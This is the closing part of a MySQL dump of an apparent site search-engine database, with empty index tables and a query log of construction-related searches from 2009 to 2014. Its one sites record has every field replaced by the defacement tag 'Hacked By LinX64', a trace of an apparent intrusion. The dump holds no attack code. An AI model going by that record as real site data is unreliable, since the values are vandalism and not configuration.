/*!40000 ALTER TABLE `link_keyword6` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword7`
--

DROP TABLE IF EXISTS `link_keyword7`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword7` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword7`
--

LOCK TABLES `link_keyword7` WRITE;
/*!40000 ALTER TABLE `link_keyword7` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword7` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword8`
--

DROP TABLE IF EXISTS `link_keyword8`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword8` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword8`
--

LOCK TABLES `link_keyword8` WRITE;
/*!40000 ALTER TABLE `link_keyword8` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword8` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword9`
--

DROP TABLE IF EXISTS `link_keyword9`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword9` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword9`
--

LOCK TABLES `link_keyword9` WRITE;
/*!40000 ALTER TABLE `link_keyword9` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword9` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyworda`
--

DROP TABLE IF EXISTS `link_keyworda`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyworda` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyworda`
--

LOCK TABLES `link_keyworda` WRITE;
/*!40000 ALTER TABLE `link_keyworda` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyworda` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keywordb`
--

DROP TABLE IF EXISTS `link_keywordb`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keywordb` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keywordb`
--

LOCK TABLES `link_keywordb` WRITE;
/*!40000 ALTER TABLE `link_keywordb` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keywordb` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keywordc`
--

DROP TABLE IF EXISTS `link_keywordc`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keywordc` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keywordc`
--

LOCK TABLES `link_keywordc` WRITE;
/*!40000 ALTER TABLE `link_keywordc` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keywordc` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keywordd`
--

DROP TABLE IF EXISTS `link_keywordd`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keywordd` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keywordd`
--

LOCK TABLES `link_keywordd` WRITE;
/*!40000 ALTER TABLE `link_keywordd` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keywordd` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyworde`
--

DROP TABLE IF EXISTS `link_keyworde`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyworde` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyworde`
--

LOCK TABLES `link_keyworde` WRITE;
/*!40000 ALTER TABLE `link_keyworde` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyworde` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keywordf`
--

DROP TABLE IF EXISTS `link_keywordf`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keywordf` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keywordf`
--

LOCK TABLES `link_keywordf` WRITE;
/*!40000 ALTER TABLE `link_keywordf` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keywordf` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `links`
--

DROP TABLE IF EXISTS `links`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `links` (
  `link_id` int(11) NOT NULL AUTO_INCREMENT,
  `site_id` int(11) DEFAULT NULL,
  `url` varchar(255) NOT NULL,
  `title` varchar(200) DEFAULT NULL,
  `description` varchar(255) DEFAULT NULL,
  `fulltxt` mediumtext,
  `indexdate` date DEFAULT NULL,
  `size` float DEFAULT NULL,
  `md5sum` varchar(32) DEFAULT NULL,
  `visible` int(11) DEFAULT '0',
  `level` int(11) DEFAULT NULL,
  PRIMARY KEY (`link_id`),
  KEY `url` (`url`),
  KEY `md5key` (`md5sum`)
) ENGINE=MyISAM AUTO_INCREMENT=138 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `links`
--

LOCK TABLES `links` WRITE;
/*!40000 ALTER TABLE `links` DISABLE KEYS */;
/*!40000 ALTER TABLE `links` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `pending`
--

DROP TABLE IF EXISTS `pending`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `pending` (
  `site_id` int(11) DEFAULT NULL,
  `temp_id` varchar(32) DEFAULT NULL,
  `level` int(11) DEFAULT NULL,
  `count` int(11) DEFAULT NULL,
  `num` int(11) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `pending`
--

LOCK TABLES `pending` WRITE;
/*!40000 ALTER TABLE `pending` DISABLE KEYS */;
/*!40000 ALTER TABLE `pending` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `query_log`
--

DROP TABLE IF EXISTS `query_log`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `query_log` (
  `query` varchar(255) DEFAULT NULL,
  `time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `elapsed` float DEFAULT NULL,
  `results` int(11) DEFAULT NULL,
  KEY `query_key` (`query`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `query_log`
--

LOCK TABLES `query_log` WRITE;
/*!40000 ALTER TABLE `query_log` DISABLE KEYS */;
INSERT INTO `query_log` VALUES ('wood','2009-08-04 23:21:13',0,4),('wood','2009-08-04 23:21:31',0,4),('wood','2009-08-04 23:21:39',0,4),('wood','2009-08-04 23:22:02',0,4),('wood','2009-08-04 23:22:14',0,4),('wood','2009-08-04 23:22:59',0,4),('jobs','2009-08-04 23:38:03',0,2),('jobs','2009-08-04 23:38:13',0,2),('jobs','2009-08-04 23:38:23',0,2),('plumbing','2009-08-04 23:38:40',0.01,16),('plumbing','2009-08-04 23:39:12',0.01,16),('job','2009-08-06 05:41:29',0.01,130),('furnace','2009-08-06 05:42:05',0.01,0),('furnaces','2009-08-06 05:42:14',0,1),('doors','2009-08-06 05:42:56',0.01,19),('wood','2009-08-06 05:44:10',0,4),('siding','2009-08-06 05:59:52',0.01,16),('siding','2009-08-06 06:01:39',0.01,16),('siding','2009-08-06 06:01:51',0.01,16),('siding','2009-08-06 06:06:28',0.01,16),('siding','2009-08-06 06:06:34',0.01,16),('siding','2009-08-06 06:07:30',0,16),('siding','2009-08-06 06:07:43',0.01,16),('siding','2009-08-06 06:08:22',0.01,16),('siding','2009-08-06 06:17:34',0.01,16),('siding','2009-08-06 06:23:15',0.01,16),('plumbing','2009-08-06 19:34:04',0.01,16),('plumbing','2009-08-06 19:34:32',0.01,16),('plumbing','2009-08-06 19:34:51',0.01,16),('Construction Jobs Orlando','2009-08-07 20:48:58',0.01,1),('Construction Jobs New Orleans','2009-08-08 20:41:40',0.01,1),('job houston','2009-09-22 09:06:37',0.01,1),('job houston','2009-09-22 09:06:54',0.01,1),('job houston','2009-09-22 09:07:34',0.01,1),('superintendent dalls','2009-09-22 09:08:07',0.01,0),('superintendent dallas','2009-09-22 09:08:12',0.02,1),('construction dallas','2009-09-22 09:08:38',0.01,1),('architect tucson','2009-09-22 09:09:12',0.02,1),('architect detroit','2009-09-22 09:09:39',0,1),('engineer','2009-09-22 09:10:01',0.01,0),('engineer','2009-09-22 09:10:05',0.01,0),('engineer','2009-09-22 09:10:10',0.01,0),('lumber','2009-09-22 09:10:36',0.03,20),('Construction Jobs Houston','2009-09-22 09:26:17',0.01,1),('construction jobs','2009-09-23 22:08:39',0.01,2),('Construction Jobs Detroit','2009-09-24 13:36:14',0.01,1),('Construction Jobs Kalispell','2009-09-24 14:46:26',0.03,0),('Construction Jobs Tampa','2009-09-24 15:57:06',0.01,1),('Construction Jobs Baton Rouge','2009-09-24 17:06:45',0.01,1),('Construction Jobs Orlando','2009-09-25 23:08:42',0.01,1),('','2009-09-28 09:00:42',0.02,0),('','2009-09-28 09:01:17',0,0),('jobs','2009-09-30 22:59:53',0.05,2),('Construction Jobs Miami','2009-10-01 13:44:51',0.02,1),('Construction Jobs New Orleans','2009-10-06 10:49:23',0.05,1),('Construction Jobs Detroit','2009-10-06 15:37:12',0.05,1),('Construction Jobs New Orleans','2009-10-07 05:31:05',0.01,1),('Construction Jobs Grand Rapids','2009-10-07 06:39:23',0.04,1),('Construction Jobs Orlando','2009-10-07 13:05:41',0.01,1),('Construction Jobs Detroit','2009-10-08 00:01:33',0.01,1),('Construction Jobs Baton Rouge','2009-10-08 05:09:37',0.03,1),('Construction Jobs Tampa','2009-10-08 06:14:13',0.01,1),('Construction Jobs West Palm Beach','2009-10-08 19:34:48',0.04,1),('Construction Jobs Shreveport','2009-10-10 04:28:11',0.01,1),('Construction Jobs Miami','2009-10-10 13:54:38',0.04,1),('language conversion','2009-10-14 06:18:38',0.06,0),('permacast','2009-11-26 00:24:11',0.03,1),('jobs','2009-12-04 19:41:01',0.04,2),('jobs houston','2009-12-04 19:41:14',0.02,1),('about us','2009-12-30 23:37:57',0.02,0),('jobs','2010-01-01 19:10:39',0,2),('jobs','2010-01-01 19:14:56',0,2),('jobs','2010-01-02 01:23:23',0,2),('jobs','2010-01-02 01:28:17',0,2),('jobs','2010-01-02 01:28:58',0,2),('jobs','2010-01-02 01:41:16',0,2),('jobs','2010-01-02 03:30:54',0,2),('jobs','2010-01-02 03:32:07',0,2),('jobs','2010-01-02 03:32:13',0,2),('superintendent','2010-01-02 03:32:28',0,1),('superintendent','2010-01-02 03:33:26',0,1),('superintendent','2010-01-02 03:33:35',0,1),('superintendent','2010-01-02 03:42:58',0,1),('superintendent','2010-01-02 03:45:06',0,1),('superintendent','2010-01-02 03:49:39',0,1),('superintendent','2010-01-02 03:50:31',0,1),('roofing','2010-03-11 03:42:21',0.02,0),('roofing','2010-03-11 03:42:22',0,0),('calculator','2010-04-23 22:59:46',0.03,6),('calculators','2010-05-20 16:05:22',0.02,2),('taxes','2010-08-02 00:18:55',0.02,0),('taxes','2010-08-02 00:18:55',0,0),('taxes','2010-08-02 00:18:58',0,0),('taxes','2010-08-02 00:18:58',0,0),('trane furnace','2010-08-02 00:19:15',0.03,0),('trane furnace','2010-08-02 00:19:15',0,0),('pine','2010-10-19 18:17:37',0.05,3),('john brake painting','2011-02-07 07:20:13',0.05,0),('fiberon','2011-06-14 21:51:03',0.65,2),('Construction Jobs Houston','2011-06-19 18:41:25',0.14,1),('Construction Jobs New York','2011-06-19 21:01:19',0.04,1),('Construction Jobs Houston','2011-06-29 19:46:18',0.07,1),('Construction Jobs New York','2011-06-30 03:01:52',0.08,1),('Construction Jobs New York','2011-07-02 16:25:08',0.05,1),('Construction Jobs Houston','2011-07-09 23:09:58',0.05,1),('Construction Jobs Houston','2011-07-19 15:57:49',0.04,1),('Construction Jobs New York','2011-07-23 16:33:40',0.07,1),('Construction Jobs Houston','2011-07-28 10:58:27',0.05,1),('insulation','2011-08-08 18:35:13',0.15,15),('insulation','2011-08-08 18:35:13',0,15),('Construction Jobs Houston','2011-08-11 05:50:24',0.1,1),('Construction Jobs Houston','2011-08-25 10:13:55',0.33,1),('Construction Jobs Houston','2011-09-05 10:32:44',0.09,1),('Construction Jobs New York','2011-09-06 21:22:25',0.08,1),('Construction Jobs Houston','2011-09-15 23:15:55',0.04,1),('Construction Jobs New York','2011-09-20 01:56:59',0.04,1),('Construction Jobs Houston','2011-09-25 12:34:02',0.11,1),('Construction Jobs Houston','2011-10-02 17:35:00',0.04,1),('Construction Jobs New York','2011-10-07 11:48:20',1.74,1),('Construction Jobs New York','2011-10-16 00:51:52',0.12,1),('Construction Jobs Houston','2011-10-23 22:24:13',0.04,1),('Construction Jobs New York','2011-10-26 09:31:14',0.52,1),('Construction Jobs New York','2011-10-27 16:33:56',0.04,1),('Construction Jobs New York','2011-10-30 16:24:25',0.04,1),('Construction Jobs New York','2011-11-05 23:01:00',1.72,1),('Construction Jobs Houston','2011-11-11 02:32:26',0.04,1),('Construction Jobs New York','2011-12-01 12:32:05',0.03,1),('Construction Jobs Houston','2011-12-07 14:06:01',0.06,1),('Construction Jobs New York','2011-12-27 20:25:08',0.34,1),('Construction Jobs Houston','2012-01-05 14:40:40',0.07,1),('Construction Jobs New York','2012-01-25 01:37:32',0.07,1),('Construction Jobs New York','2012-02-07 05:25:34',0.09,1),('wood','2012-02-08 11:53:03',0.1,4),('Construction Jobs Houston','2012-03-02 15:11:26',0.22,1),('Construction Jobs New York','2012-03-31 14:51:52',0.19,1),('Construction Jobs Houston','2012-05-31 08:19:30',0.03,1),('rebar','2012-06-18 02:24:29',0.01,0),('rebar','2012-06-18 02:24:34',0,0),('lights','2012-06-18 02:24:43',0.01,0),('lights','2012-06-18 02:24:45',0,0),('llumber','2012-06-18 02:24:57',0,0),('lumber','2012-06-18 02:24:59',0.03,20),('','2012-06-25 12:43:51',0.01,0),('painting caculator','2012-06-25 12:44:08',0.05,0),('Construction Jobs New York','2012-07-05 06:37:01',0.04,1),('Construction Jobs New York','2012-07-06 14:52:24',0.02,1),('Construction Jobs Houston','2012-08-23 15:37:04',0.03,1),('Construction Jobs Houston','2012-08-30 14:34:23',0.27,1),('Construction Jobs Houston','2012-09-06 13:21:45',0.02,1),('Construction Jobs Houston','2012-09-08 05:53:51',0.04,1),('Construction Jobs New York','2012-09-08 19:33:24',0.03,1),('Construction Jobs Houston','2012-11-29 04:54:18',0.03,1),('Construction Jobs Houston','2012-12-03 08:58:41',0.03,1),('Construction Jobs New York','2012-12-13 18:52:12',0.03,1),('wood','2013-01-12 14:22:06',0.03,4),('drywall calculator','2013-02-15 22:00:35',0.01,2),('drywall ','2013-02-15 22:12:11',0.05,16),('Construction Jobs Houston','2013-02-15 23:24:58',0.03,1),('Construction Jobs New York','2013-02-25 13:31:07',0.04,1),('tn','2013-03-06 22:08:46',0,0),('taxes by state','2013-03-10 16:32:06',0.03,0),('employment','2013-03-10 16:32:26',0.06,13),('Construction Jobs Houston','2013-04-09 05:19:09',0.03,1),('Construction Jobs New York','2013-04-22 18:20:18',0.04,1),('g bolt hdpe','2013-05-23 10:56:33',0.04,0),('g bolt pe','2013-05-23 10:56:47',0,0),('fiberon','2013-05-31 12:27:54',0.65,2),('Construction Jobs Houston','2013-07-08 15:37:07',0.04,1),('Construction Jobs New York','2013-07-14 05:57:39',0.06,1),('Construction Jobs New York','2013-09-17 07:12:06',0.04,1),('Construction Jobs New York','2013-11-19 16:08:01',0.19,1),('Construction Jobs Houston','2013-12-03 16:39:20',0.05,1),('install windows','2014-01-30 06:53:29',0.05,0),('windows','2014-01-30 06:53:43',0.07,14),('Construction Jobs Houston','2014-03-21 21:47:51',0.23,1),('','2014-04-01 17:20:09',0.02,0),('1','2014-04-02 09:03:30',0,0),('1','2014-04-02 09:03:43',0,0),('1','2014-04-02 09:04:55',0,0),('Construction Jobs New York','2014-04-08 22:30:32',0.1,0),('Construction Jobs Houston','2014-05-15 08:42:42',0.11,0),('caleuiate','2014-05-22 01:39:32',0.09,0),('calculators','2014-05-22 01:41:55',0.05,0),('','2014-05-22 11:40:06',0.02,0),('Construction Jobs New York','2014-06-14 23:05:10',0.05,0),('Construction Jobs Houston','2014-07-08 20:59:51',0.1,0),('Construction Jobs Houston','2014-07-11 11:17:05',0.18,0),('Construction Jobs Houston','2014-07-23 17:32:26',0.05,0);
/*!40000 ALTER TABLE `query_log` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `site_category`
--

DROP TABLE IF EXISTS `site_category`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `site_category` (
  `site_id` int(11) DEFAULT NULL,
  `category_id` int(11) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `site_category`
--

LOCK TABLES `site_category` WRITE;
/*!40000 ALTER TABLE `site_category` DISABLE KEYS */;
/*!40000 ALTER TABLE `site_category` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `sites`
--

DROP TABLE IF EXISTS `sites`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `sites` (
  `site_id` int(11) NOT NULL AUTO_INCREMENT,
  `url` varchar(255) DEFAULT NULL,
  `title` varchar(255) DEFAULT NULL,
  `short_desc` text,
  `indexdate` date DEFAULT NULL,
  `spider_depth` int(11) DEFAULT '2',
  `required` text,
  `disallowed` text,
  `can_leave_domain` tinyint(1) DEFAULT NULL,
  PRIMARY KEY (`site_id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `sites`
--

LOCK TABLES `sites` WRITE;
/*!40000 ALTER TABLE `sites` DISABLE KEYS */;
INSERT INTO `sites` VALUES (2,'http://Hacked By LinX64/','http://Hacked By LinX64','http://Hacked By LinX64','2014-04-02',-1,'http://Hacked By LinX64','http://Hacked By LinX64',0);
/*!40000 ALTER TABLE `sites` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `temp`
--

DROP TABLE IF EXISTS `temp`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `temp` (
  `link` varchar(255) DEFAULT NULL,
  `level` int(11) DEFAULT NULL,
  `id` varchar(32) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `temp`
--

LOCK TABLES `temp` WRITE;
/*!40000 ALTER TABLE `temp` DISABLE KEYS */;
/*!40000 ALTER TABLE `temp` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Dumping events for database 'jhbrake1_sphdr'
--

--
-- Dumping routines for database 'jhbrake1_sphdr'
--
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2026-05-10 13:56:56
